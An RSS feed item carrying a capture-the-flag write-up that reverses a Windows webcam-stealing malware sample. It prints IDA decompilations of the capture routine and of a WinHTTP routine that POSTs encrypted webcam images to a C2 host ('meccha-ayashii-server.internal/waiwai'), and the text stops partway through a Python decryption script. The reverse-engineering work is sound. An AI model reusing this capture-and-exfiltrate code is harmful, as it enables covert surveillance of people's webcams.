<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>nothoudaifa</title><description>I talk about computer stuff.</description><link>https://nothoudaifa.github.io/</link><language>en</language><copyright>Copyright 2026, Calvin Tran</copyright><lastBuildDate>Sun, 28 Jun 2026 00:00:00 +0000</lastBuildDate><generator>Hugo - gohugo.io</generator><docs>http://cyber.harvard.edu/rss/rss.html</docs><atom:link href="https://nothoudaifa.github.io//atom.xml" rel="self" type="application/atom+xml"/><item><title>Stealerusk chall from Alpacahack B-Side writeup</title><link>https://nothoudaifa.github.io/posts/alpaca-bside-stealerusk/</link><description>&lt;p>this was a B-Side challenge released on Alpacahack, you can check it out &lt;a href="https://alpacahack.com/daily-bside/challenges/stealerusk?month=2026-03">here&lt;/a>, it&amp;rsquo;s difficulty is Very Hard 7.0 .&lt;/p>
&lt;h2 id="tldr">TL;DR&lt;/h2>
&lt;p>reversing a windows malware that takes an image from the webcam and sends it to a C2 server.&lt;/p>
&lt;h2 id="solve">Solve&lt;/h2>
&lt;p>we are given two files &lt;code>chal.exe&lt;/code> and &lt;code>packet.pcap&lt;/code>, i started by checking the pcap, it only contains a single POST request with some binary data as you can see here:
&lt;img
src="https://nothoudaifa.github.io/alpaca-bside-stealerusk/2026-06-28%7c13:27:16.166.png"
alt="wireshark screenshot"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>now opening the executable in ida we get this decompilation of the main function:
&lt;img
src="https://nothoudaifa.github.io/alpaca-bside-stealerusk/2026-06-28%7c13:29:35.298.png"
alt="ida main function screenshot"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>the first part gets the current directory path and compares it to another path using it&amp;rsquo;s rfid (rfid is a folder identifier in windows, you can check &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shgetknownfolderpath">docs&lt;/a> of the function to know more about it) if the comparision succeeds then it will execute the malware code.&lt;/p>
&lt;p>the malware calls 2 functions &lt;code>sub_140001640&lt;/code> and &lt;code>sub_1400017B0&lt;/code>.&lt;/p>
&lt;h4 id="sub_140001640">sub_140001640:&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">__int64&lt;/span> &lt;span style="color:#75af00">sub_140001640&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">HWND&lt;/span> &lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+40h] [rbp-28h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">v2&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+48h] [rbp-20h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">hWnd&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">capCreateCaptureWindowW&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">L&lt;/span>&lt;span style="color:#d88200">&amp;#34;capture&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">640&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">480&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#f92672">!&lt;/span>&lt;span style="color:#111">hWnd&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#75af00">IsWindow&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">SendMessageW&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x40Au&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#f92672">!&lt;/span>&lt;span style="color:#111">v2&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">Sleep&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x3E8u&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">SendMessageW&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x405u&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">LPARAM&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">handler&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">byte_140005114&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#75af00">SendMessageW&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x43Du&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">Sleep&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x1F4u&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#75af00">IsWindow&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">SendMessageW&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x40Bu&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#75af00">IsWindow&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">SendMessageW&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hWnd&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x40Bu&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>i haven&amp;rsquo;t fully reversed this function, but based on the documentation of &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capcreatecapturewindoww">capCreateCaptureWindowW&lt;/a>, it creates a capture window which can be used to capture some data, it seems to configure it using SendMessageW one important thing is that it&amp;rsquo;s setting some kind of handler function &lt;code>handler&lt;/code>, we will get to that later.&lt;/p>
&lt;h4 id="sub_1400017b0">sub_1400017B0:&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">__int64&lt;/span> &lt;span style="color:#00a8c8">__fastcall&lt;/span> &lt;span style="color:#75af00">sub_1400017B0&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">const&lt;/span> &lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">a1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">DWORD&lt;/span> &lt;span style="color:#111">a2&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">hRequest&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+40h] [rbp-38h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">v4&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+48h] [rbp-30h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">hConnect&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+50h] [rbp-28h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">hSession&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+58h] [rbp-20h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">DWORD&lt;/span> &lt;span style="color:#111">dwNumberOfBytesWritten&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// [rsp+60h] [rbp-18h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v4&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">hConnect&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">hRequest&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">hSession&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">WinHttpOpen&lt;/span>&lt;span style="color:#111">(&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">L&lt;/span>&lt;span style="color:#d88200">&amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">hSession&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">hConnect&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">WinHttpConnect&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hSession&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">L&lt;/span>&lt;span style="color:#d88200">&amp;#34;meccha-ayashii-server.internal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x50u&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">hConnect&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">hRequest&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">WinHttpOpenRequest&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hConnect&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">L&lt;/span>&lt;span style="color:#d88200">&amp;#34;POST&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">L&lt;/span>&lt;span style="color:#d88200">&amp;#34;/waiwai&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">hRequest&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#75af00">WinHttpSendRequest&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hRequest&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">L&lt;/span>&lt;span style="color:#d88200">&amp;#34;Content-Type: application/octet-stream&lt;/span>&lt;span style="color:#8045ff">\r\n&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0xFFFFFFFF&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">a2&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">dwNumberOfBytesWritten&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#75af00">WinHttpWriteData&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hRequest&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">a1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">a2&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">dwNumberOfBytesWritten&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">dwNumberOfBytesWritten&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">a2&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v4&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">WinHttpReceiveResponse&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hRequest&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">hRequest&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">WinHttpCloseHandle&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hRequest&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">hConnect&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">WinHttpCloseHandle&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hConnect&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">hSession&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">WinHttpCloseHandle&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">hSession&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">v4&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>this function takes 2 global variables which are data buffer and size (which are used in the handler function too) and sends an http post request as we&amp;rsquo;ve seen in the pcap.&lt;/p>
&lt;h4 id="handler-function">handler function:&lt;/h4>
&lt;p>following the code of the handler function we reach &lt;code>sub_140001100&lt;/code> which is called like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">sub_140001100&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">a1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">a2&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">unk_140005078&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">data_sent&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">__int64&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">data_sent_size&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>you can check the function decompilation &lt;a href="https://nothoudaifa.github.io/alpaca-bside-stealerusk/sub_140001100_decomp.c">here&lt;/a>&lt;/p>
&lt;p>i guessed that a1 and a2 are data pointer and data size from their signature &lt;code>UCHAR *a1, ULONG a2&lt;/code>, this function generates a random 0x10 value and uses it as iv and uses the third argument as key then it encrypts the capture data using aes-cbc, and then it puts the result in data_sent with the iv as the first 16 bytes.&lt;/p>
&lt;h4 id="decryption">decryption:&lt;/h4>
&lt;p>knowing this i made the following decryption function in python:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">from&lt;/span> &lt;span style="color:#111">Crypto.Cipher&lt;/span> &lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#111">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">from&lt;/span> &lt;span style="color:#111">Crypto.Util.Padding&lt;/span> &lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#111">unpad&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">with&lt;/span> &lt;span style="color:#111">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;./enc&amp;#39;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;rb&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#00a8c8">as&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">data&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">read&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">iv&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">data&lt;/span>&lt;span style="color:#111">[:&lt;/span>&lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#75715e"># iv is the first 0x10 bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">data&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">data&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">:]&lt;/span> &lt;span style="color:#75715e"># rest is encrypted data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
